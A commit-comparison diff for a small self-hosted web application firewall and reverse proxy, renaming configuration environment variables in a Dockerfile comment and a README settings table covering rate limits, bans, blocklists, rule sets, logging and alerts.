Compare commits
6
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7caad07de3 | ||
|
|
4dad4fff43 | ||
|
|
94d60358ee | ||
|
|
3304beca46 | ||
|
|
101cc0aba5 | ||
|
|
c4bf76c966 |
No files matched your search
+1
-1
@@ -226,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
|
||||||
# built FROM this image can copy rule files of its own beside it.
|
# built FROM this image can copy rule files of its own beside it.
|
||||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||||
|
|
||||||
|
|||||||
@@ -212,7 +212,7 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
setting takes it.
|
setting takes it.
|
||||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||||
app's response bodies, the visitors' request bodies, or both, as
|
app's response bodies, the visitors' request bodies, or both, as
|
||||||
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
|
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
|
||||||
over a WebSocket counts as request bytes, and what the app sent as response
|
over a WebSocket counts as request bytes, and what the app sent as response
|
||||||
bytes.
|
bytes.
|
||||||
- An invalid setting stops the process at start with one log line naming the
|
- An invalid setting stops the process at start with one log line naming the
|
||||||
@@ -221,125 +221,125 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
|
|
||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||||
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||||
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||||
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. |
|
||||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||||
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||||
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||||
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||||
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||||
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
|
||||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||||
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||||
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||||
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
|
||||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||||
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
